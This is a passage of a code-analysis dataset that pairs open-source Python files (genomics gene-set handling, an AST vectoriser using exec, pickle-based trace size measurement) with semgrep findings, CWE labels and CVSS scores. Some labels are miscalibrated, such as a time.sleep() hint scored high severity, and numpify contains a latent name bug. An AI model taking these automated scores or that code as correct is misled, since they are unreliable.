Requirements", "version": "4"}, "confidence": "MEDIUM", "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_7273a5405fa19dfd_f8e19afb", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 232, "line_end": 232, "column_start": 2, "column_end": 15, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 232, "col": 2, "offset": 4968}, "end": {"line": 232, "col": 15, "offset": 4981}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
6
true
[ "", "CWE-78", "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.maintainability.useless-if-body", "rules.python.lang.security.audit.dangerous-os-exec-audit", "rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args", "rules.python.lang.security.audit.dangerous-os-exec-audit", "rules.python.lang.security.audit.dangerous-os-exec-tainted-env-...
[ "maintainability", "security", "security", "security", "security" ]
[ "MEDIUM", "LOW", "MEDIUM", "LOW", "MEDIUM" ]
[ "MEDIUM", "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 35, 130, 130, 229, 229 ]
[ 39, 130, 130, 229, 229 ]
[ 2, 7, 7, 4, 4 ]
[ 64, 55, 55, 43, 43 ]
[ "", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Useless if statement; both blocks have the same body", "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "Found user controlled content when spawning a ...
[ 5, 7.5, 7.5, 7.5, 7.5 ]
[ "", "LOW", "MEDIUM", "LOW", "MEDIUM" ]
[ "", "HIGH", "HIGH", "HIGH", "HIGH" ]
shell.py
/shell/shell.py
utep-cs-systems-courses/project1-shell-Llibarra2
BSD-3-Clause
2024-11-18T19:58:32.930015+00:00
1,615,843,017,000
fba987047db9d2374f0dd3367a28eb7c4ed506ec
2
{ "blob_id": "fba987047db9d2374f0dd3367a28eb7c4ed506ec", "branch_name": "refs/heads/master", "committer_date": 1615843017000, "content_id": "937726f007402fe2a90ffc07e1c5bc4510c6c2a5", "detected_licenses": [ "MIT" ], "directory_id": "7a41e5f5b8ea8eb1defb44ed227298904b9d36d8", "extension": "py", "filename": "gene_selection.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10960, "license": "MIT", "license_type": "permissive", "path": "/lisa/core/gene_selection.py", "provenance": "stack-edu-0054.json.gz:569699", "repo_name": "liangdp1984/lisa2", "revision_date": 1615843017000, "revision_id": "d2e1adaca28f257c84a5e6e271e7a9fdeeb576c5", "snapshot_id": "464448c700339cc8d0d8471e3058a649444d99a8", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/liangdp1984/lisa2/d2e1adaca28f257c84a5e6e271e7a9fdeeb576c5/lisa/core/gene_selection.py", "visit_date": "2023-03-19T15:33:19.443369" }
2.40625
stackv2
import numpy as np import os import random from collections import Counter, defaultdict, OrderedDict import random from lisa.core.genome_tools import Region class Gene: ''' A gene has a unique genomic region, an accepted name, and aliases that also correspond to that gene or genomic region ''' def __init__(self, chrom, tss_start, tss_end, names, tad_domain = None): self.chrom = chrom self.start = int(tss_start) self.end = int(tss_end) self.aliases = [] self.tad_domain = tad_domain if isinstance(names, str): self.add_alias(names.upper()) else: self.add_aliases([name.upper() for name in names]) self.location = ':'.join([str(property_) for property_ in (self.chrom, self.start, self.end)]) def add_alias(self, alias, is_name = True): if not alias in self.aliases: self.aliases.append(alias) def get_name(self): return self.aliases[0] def add_aliases(self, aliases): assert( isinstance(aliases, list) ) for alias in aliases: self.add_alias(alias) def get_location(self): return self.location def get_tss_region(self): return Region(self.chrom, self.start, self.end, annotation = self) def __eq__(self, other): if isinstance(other, str): return other in self.aliases elif isinstance(other, Gene): return self.get_location() == other.get_location() else: return False def __repr__(self): return '\t'.join([str(x) for x in [self.get_location(), self.aliases[0], self.tad_domain, '|'.join(self.aliases)]]) def __str__(self): return self.get_name() def get_RP_signature(self, bins, bin_index, delta = 10000, max_influence_distance = 100000): tss = self.start #find bin regions defining interesting RP region min_bin, split_bin, max_bin = np.digitize([tss - max_influence_distance, tss, tss + max_influence_distance], bins) #subset interesting region of chrom bin_indices = bin_index[min_bin: max_bin - 1] #split the bin holding the TSS into two bins bins = np.concatenate([bins[min_bin: split_bin], [tss], bins[split_bin: max_bin]]) split_bin -= min_bin tss_bins = (split_bin - 1, split_bin) #get bin intervals to the left and right of TSS, then concatenate left_bins = np.abs(np.array(list(zip(bins[1:tss_bins[1] + 1], bins[:tss_bins[0] + 1]))) - tss) right_bins = np.abs(np.array(list(zip(bins[tss_bins[1]:-1], bins[tss_bins[1] + 1:]))) - tss) intervals = np.concatenate([left_bins, right_bins], axis = 0) #get integral of RP at boundary locations RP = intervals * (-np.log(1/3) / delta) RP = 2 * ( RP - np.log(np.exp(RP) + 1)) #compute RP over area RP = np.subtract(RP[:,1], RP[:,0]) #sum bins split by TSS summed_tss_rp = RP[list(tss_bins)].sum() RP[tss_bins[0]] = summed_tss_rp #remove split bin RP = np.delete(RP, tss_bins[1]) #normalize so bin with TSS has RP of 1 RP = RP / RP.max() return RP, bin_indices class RefSeqGene(Gene): promoter_width_from_tss = 1500 def __init__(self, name, chrom, strand, txStart, txEnd, exonStarts, exonEnds, symbol, tad_cluster, *, genome): if strand == '-': tss = (int(txEnd), int(txEnd) + 1) else: tss = (int(txStart), int(txStart) + 1) super().__init__(chrom, *tss, [symbol.upper(), name.upper()], tad_domain=tad_cluster) self.special_regions = dict() self.add_region(Region(chrom, *tss).slop(self.promoter_width_from_tss, genome)) if exonStarts != '' and exonEnds != '': for exon_start, exon_end in zip(exonStarts.strip(',').split(','), exonEnds.strip(',').split(',')): self.add_region(Region(chrom, exon_start, exon_end)) self.strand = strand self.is_noncoding = name[:3] == "NR_" def get_exon_regions(self): return list(self.special_regions.values()) def add_region(self, region): if not region.to_tuple() in self.special_regions: self.special_regions[region.to_tuple()] = region def add_regions(self, new_regions): for new_region in new_regions: self.add_region(new_region) class GeneSet: ''' Enforces gene organization rules: A genomic location may correspond to many names A name may correspond to many locations Primary organization should be by genomic location ''' @classmethod def from_file(cls, path): new_geneset = cls() with open(path, 'r') as f: for line in f.readlines()[1:]: location, name, tad, aliases = [x.strip() for x in line.split('\t')] new_gene = Gene(*location.split(':'), aliases.split('|'), tad_domain = tad) new_geneset.add_gene(new_gene) return new_geneset @classmethod def from_refseq(cls, path, genome): new_geneset = cls() with open(path, 'r') as f: for line in f.readlines(): #print(line.strip().split('\t')) new_geneset.add_gene(RefSeqGene(*[x.strip() for x in line.strip().split('\t')], genome = genome)) return new_geneset def __init__(self): self.genes_by_name = defaultdict(list) self.genes_by_chr = OrderedDict() def add_genes(self, new_genes): for new_gene in new_genes: self.add_gene(new_gene) return self def add_gene(self, new_gene): #finds if gene location is already inhabited if new_gene.get_location() in self.genes_by_chr: #get existing gene object existing_gene = self.genes_by_chr[new_gene.get_location()] #adds the new names to the existing object for this genomic location / gene existing_gene.add_aliases(new_gene.aliases) try: existing_gene.add_regions(new_gene.special_regions) except AttributeError: pass #adds pointers from these names to the existing gene for alias in new_gene.aliases: #if this alias is not registered if not alias in self.genes_by_name: #add the location under the alias self.genes_by_name[alias.upper()].append(existing_gene) else: #add this gene under its genomic location self.genes_by_chr[new_gene.get_location()] = new_gene #for its names, add this location for alias in new_gene.aliases: #uppercase the gene name so that capitalization is not a factor self.genes_by_name[alias.upper()].append(new_gene) return self def get_symbols(self): return [gene.get_name() for gene in self] def get_locations(self): return [gene.get_location() for gene in self] def get_distinct_genes_by_symbol(self, excluding = set(), exclude_nc_rna = True): names = self.get_symbols() distinct_names = set(names).difference(excluding) distinct_genes = GeneSet() for dinstinct_name in distinct_names: add_gene = self.get_gene_by_name(dinstinct_name) try: if not add_gene.is_noncoding: distinct_genes.add_gene(add_gene) except AttributeError: distinct_genes.add_gene(add_gene) return distinct_genes def get_gene_by_name(self, name): name = name.upper() if name not in self.genes_by_name: raise KeyError() else: return self.genes_by_name[name][0] def __str__(self): return '\t'.join(['location','gene_name','tad_domain','aliases']) + '\n' + '\n'.join([repr(gene) for gene in self.genes_by_chr.values()]) def get_genes_by_chrom(self, chromosome): return [ gene for location_key, gene in self.genes_by_chr.items() if location_key.split(':')[0] == chromosome ] def __len__(self): return len(self.genes_by_chr) def __iter__(self): return iter(list(self.genes_by_chr.values())) def match_user_provided_genes(self, user_genelist): rejects = [] selected_genes = GeneSet() for gene_candidate in user_genelist: try: selected_genes.add_gene( self.get_gene_by_name(gene_candidate) ) except KeyError: rejects.append(gene_candidate) return selected_genes.get_distinct_genes_by_symbol() def random_sample(self, sample_num, seed = None): if not seed is None: np.random.seed(seed) assert(len(self) > sample_num), 'Background gene list provided must contain more than {} genes'.format(str(sample_num)) #if same number of genes, skip sample if len(self) == sample_num: return self else: return GeneSet().add_genes(np.random.choice(sorted(list(self), key = lambda x : x.location), sample_num, replace = False)) #enforce sampling according to the TAD distribution of the genome. def sample_by_TAD(self, sample_num, seed = None): if not seed is None: np.random.seed(seed) #intersect background gene list with TAD_list to eliminate reserved genes, sorting to maintain order for seed repeatability TAD_data = [(gene, gene.tad_domain) for gene in sorted(self, key = lambda x : x.location)] #collect list of genes in each bin genes_in_TAD = defaultdict(list) for gene, tad_group in TAD_data: genes_in_TAD[tad_group].append(gene) #calculates number of genes in each TAD group num_genes_in_TAD = {tad_group : len(genes) for tad_group, genes in genes_in_TAD.items()} #calculates the number of genes expected to be sampled from each TAD, with a bit of an enrichment (1.1x). Ensure all TADs have >= 1 expected genes expected_samples = { tad_group : max(1, int(num_genes / len(TAD_data) * sample_num * 1.1)) for tad_group, num_genes in num_genes_in_TAD.items() } #samples the expected number of genes from the TAD (or the number of genes if expected is > actual) selected_genes = GeneSet() for tad_group, num_expected in expected_samples.items(): sampled_genes = np.random.choice(sorted(genes_in_TAD[tad_group], key = lambda x : x.location), min(num_genes_in_TAD[tad_group] - 1, num_expected), replace = False) selected_genes.add_genes(sampled_genes) return selected_genes
306
34.82
175
23
2,544
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_8b7d2ab5c8db6360_d13daa2a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_noncoding\" a function or an attribute? If it is a function, you may have meant self.is_noncoding() because self.is_noncoding is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 115, "line_end": 115, "column_start": 9, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/8b7d2ab5c8db6360.py", "start": {"line": 115, "col": 9, "offset": 4089}, "end": {"line": 115, "col": 26, "offset": 4106}, "extra": {"message": "Is \"is_noncoding\" a function or an attribute? If it is a function, you may have meant self.is_noncoding() because self.is_noncoding is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_8b7d2ab5c8db6360_79384303", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 142, "line_end": 142, "column_start": 14, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/8b7d2ab5c8db6360.py", "start": {"line": 142, "col": 14, "offset": 4811}, "end": {"line": 142, "col": 29, "offset": 4826}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_8b7d2ab5c8db6360_7648d387", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 154, "line_end": 154, "column_start": 14, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/8b7d2ab5c8db6360.py", "start": {"line": 154, "col": 14, "offset": 5236}, "end": {"line": 154, "col": 29, "offset": 5251}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_8b7d2ab5c8db6360_047f8810", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_noncoding\" a function or an attribute? If it is a function, you may have meant add_gene.is_noncoding() because add_gene.is_noncoding is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 219, "line_end": 219, "column_start": 24, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/8b7d2ab5c8db6360.py", "start": {"line": 219, "col": 24, "offset": 7561}, "end": {"line": 219, "col": 45, "offset": 7582}, "extra": {"message": "Is \"is_noncoding\" a function or an attribute? If it is a function, you may have meant add_gene.is_noncoding() because add_gene.is_noncoding is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 115, 219 ]
[ 115, 219 ]
[ 9, 24 ]
[ 26, 45 ]
[ "", "" ]
[ "Is \"is_noncoding\" a function or an attribute? If it is a function, you may have meant self.is_noncoding() because self.is_noncoding is always true.", "Is \"is_noncoding\" a function or an attribute? If it is a function, you may have meant add_gene.is_noncoding() because add_gene.is_noncoding is always true." ]
[ 5, 5 ]
[ "", "" ]
[ "", "" ]
gene_selection.py
/lisa/core/gene_selection.py
liangdp1984/lisa2
MIT
2024-11-18T19:58:33.327596+00:00
1,692,617,757,000
454496596a5016cb1d0bff0f0918c75f96699e5c
3
{ "blob_id": "454496596a5016cb1d0bff0f0918c75f96699e5c", "branch_name": "refs/heads/master", "committer_date": 1692617757000, "content_id": "463da85d9f26779d281a3548f721cd414d574e5c", "detected_licenses": [ "Apache-2.0" ], "directory_id": "db987bc58a44d6bfbc4d29407b2cb4e98746f0a7", "extension": "py", "filename": "vectorize.py", "fork_events_count": 1, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 182797432, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2415, "license": "Apache-2.0", "license_type": "permissive", "path": "/fun/vectorize.py", "provenance": "stack-edu-0054.json.gz:569705", "repo_name": "jburgy/blog", "revision_date": 1692617757000, "revision_id": "dfcb3c62f3cc52ad95c7d0319be690625d83346e", "snapshot_id": "605e9134f51041213f06427869188bc96c4f6a64", "src_encoding": "UTF-8", "star_events_count": 4, "url": "https://raw.githubusercontent.com/jburgy/blog/dfcb3c62f3cc52ad95c7d0319be690625d83346e/fun/vectorize.py", "visit_date": "2023-08-24T21:42:42.253622" }
2.71875
stackv2
import ast from inspect import getsource from textwrap import dedent import numpy as np class Vectorizer(ast.NodeTransformer): def visit_ListComp(self, node): """ transform [elt for gen.target in gen.iter] into gen.target = np.asarray(gen.iter); elt (1 expression to n statements followed by 1 expression) TODO: handle more than 1 generator TODO: handle ifs """ ctx = ast.Load() func = ast.Attribute( value=ast.Name(id="np", ctx=ctx), attr="asarray", ctx=ctx, ) return [ ast.Assign( targets=[gen.target], value=ast.Call(func=func, args=[gen.iter], keywords=[]) ) for gen in node.generators ] + [ node.elt ] def generic_visit(self, node): result = node # new for field, old_value in ast.iter_fields(node): if isinstance(old_value, list): new_values = [] for value in old_value: if isinstance(value, ast.AST): value = self.visit(value) if value is None: continue elif not isinstance(value, ast.AST): new_values.extend(value) continue new_values.append(value) old_value[:] = new_values elif isinstance(old_value, ast.AST): new_node = self.visit(old_value) if new_node is None: delattr(node, field) elif new_node and isinstance(new_node, list): # new setattr(node, field, new_node[-1]) # new new_node[-1], result = node, new_node # new else: setattr(node, field, new_node) return result # was return node def numpify(func): source = getsource(func) node = ast.parse(dedent(source)) new_node = ast.fix_missing_locations(Vectorizer().visit(node)) code = compile(new_node, "<string>", "exec") namespace = {"np": np} exec(code, namespace) return namespace[f.__name__] if __name__ == "__main__": def f(x): s = [t * 2 for t in x] return s print(f([1, 2, 3])) g = numpify(f) print(g([1, 2, 3]))
77
30.36
71
20
523
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_0ae1c9ccf52fc5d6_0df0109e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 66, "line_end": 66, "column_start": 5, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmpb8jm_z1l/0ae1c9ccf52fc5d6.py", "start": {"line": 66, "col": 5, "offset": 2201}, "end": {"line": 66, "col": 26, "offset": 2222}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.exec-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 66 ]
[ 66 ]
[ 5 ]
[ 26 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
vectorize.py
/fun/vectorize.py
jburgy/blog
Apache-2.0
2024-11-18T19:58:33.813913+00:00
1,621,602,480,000
b5516177c87d7adb439257528df5e13cde90b6ff
3
{ "blob_id": "b5516177c87d7adb439257528df5e13cde90b6ff", "branch_name": "refs/heads/master", "committer_date": 1621602480000, "content_id": "bd5ac860546b0876396ab221d15f8af5ddbbe932", "detected_licenses": [ "MIT" ], "directory_id": "2bca49bc44fa9c8f7c2e5c3b092b84b140de3e76", "extension": "py", "filename": "size_prediction.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3179, "license": "MIT", "license_type": "permissive", "path": "/pycrunch_trace/events/size_prediction.py", "provenance": "stack-edu-0054.json.gz:569710", "repo_name": "lixinli123/pycrunch-trace", "revision_date": 1621602480000, "revision_id": "f158af2bad28e31e1a99dceae5a3df84827329ff", "snapshot_id": "90697f3769f2e1722dce39310b39a16d44009eab", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/lixinli123/pycrunch-trace/f158af2bad28e31e1a99dceae5a3df84827329ff/pycrunch_trace/events/size_prediction.py", "visit_date": "2023-04-25T05:32:11.241896" }
2.921875
stackv2
from typing import List from . import base_event from .method_enter import MethodEnterEvent, MethodExitEvent, LineExecutionEvent from ..file_system.human_readable_size import HumanReadableByteSize from ..file_system.session_store import SessionStore import pickle def count_every_element(self, cleanup_function= None): accum = 0 for e in self.buffer: if cleanup_function: cleanup_function(e) bytes_ = pickle.dumps(e) accum += len(bytes_) return accum class SizeWithoutStack: def __init__(self, buffer): self.buffer = buffer def size(self): return count_every_element(self, self.clean_up_stack) def clean_up_stack(self, e): e.stack = None class SizeOriginal: def __init__(self, buffer): self.buffer = buffer def size(self): return count_every_element(self) def clean_up_stack(self, e): e.stack = None class SizeWithoutVariables: def __init__(self, buffer): self.buffer = buffer def size(self): return count_every_element(self, self.clean_up_vars) def clean_up_vars(self, e): if isinstance(e, MethodEnterEvent): e.input_variables = None if isinstance(e, MethodExitEvent): e.return_variables = None e.locals = None if isinstance(e, LineExecutionEvent): e.locals = None class SizeWithoutCursor: def __init__(self, buffer): self.buffer = buffer def size(self): return count_every_element(self, self.clean_up_cursor) def clean_up_cursor(self, e): e.cursor = None class SizeBreakdown: event_buffer: List[base_event.Event] @staticmethod def load_from_session(): sess = SessionStore().load_session('request_exce') sess.load_metadata() print(f'metadata thinks size is: {sess.metadata.file_size_on_disk}') print() orig = SizeOriginal(sess.load_buffer()) real_size = orig.size() SizeBreakdown.print_size('real size', real_size) total_bytes_so_far = SizeWithoutStack(sess.load_buffer()) without_stack = total_bytes_so_far.size() SizeBreakdown.print_size('without stack', without_stack) without_variables = SizeWithoutVariables(sess.load_buffer()) without_variables_size = without_variables.size() SizeBreakdown.print_size('without variables', without_variables_size) without_cursor = SizeWithoutCursor(sess.load_buffer()) without_cursor_size = without_cursor.size() SizeBreakdown.print_size('without cursor', without_cursor_size) cursor = SizeWithoutCursor(sess.load_buffer()) cursor.size() without_cursor_and_vars = SizeWithoutVariables(cursor.buffer) without_cursor_and_vars_size = without_cursor_and_vars.size() SizeBreakdown.print_size('without_cursor and vars', without_cursor_and_vars_size) print('matan:') # for i in range(100): # print(bugger[i].event_name) @staticmethod def print_size(prefix, real_size): print(f'{prefix}: {HumanReadableByteSize(real_size)} ({real_size})')
109
28.17
89
14
671
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e2826d277b87ac51_4c17244b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 18, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e2826d277b87ac51.py", "start": {"line": 16, "col": 18, "offset": 441}, "end": {"line": 16, "col": 33, "offset": 456}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 16 ]
[ 16 ]
[ 18 ]
[ 33 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
size_prediction.py
/pycrunch_trace/events/size_prediction.py
lixinli123/pycrunch-trace
MIT
2024-11-18T19:58:33.954974+00:00
1,497,250,589,000
fcba0f309089a958250921246ebdfc0fa1993691
3
{ "blob_id": "fcba0f309089a958250921246ebdfc0fa1993691", "branch_name": "refs/heads/master", "committer_date": 1497250589000, "content_id": "ca52a08e7fcae2d3c3ce178b5f1fa424e074ec88", "detected_licenses": [ "MIT" ], "directory_id": "a431bbe8e9078119316a909d1df6cbb2d3d77067", "extension": "py", "filename": "reports.py", "fork_events_count": 3, "gha_created_at": 1315080927000, "gha_event_created_at": 1497250590000, "gha_language": "Objective-C", "gha_license_id": null, "github_id": 2320526, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3581, "license": "MIT", "license_type": "permissive", "path": "/reporter/timesuck/reports.py", "provenance": "stack-edu-0054.json.gz:569712", "repo_name": "kyleconroy/timesuck", "revision_date": 1497250589000, "revision_id": "1c5ea1a4fd7fbbf90247a5c92d160a790ea1767c", "snapshot_id": "e4a15e66621f3ce8ccfed6c28340f81212c46be1", "src_encoding": "UTF-8", "star_events_count": 6, "url": "https://raw.githubusercontent.com/kyleconroy/timesuck/1c5ea1a4fd7fbbf90247a5c92d160a790ea1767c/reporter/timesuck/reports.py", "visit_date": "2021-05-16T02:09:13.724149" }
2.765625
stackv2
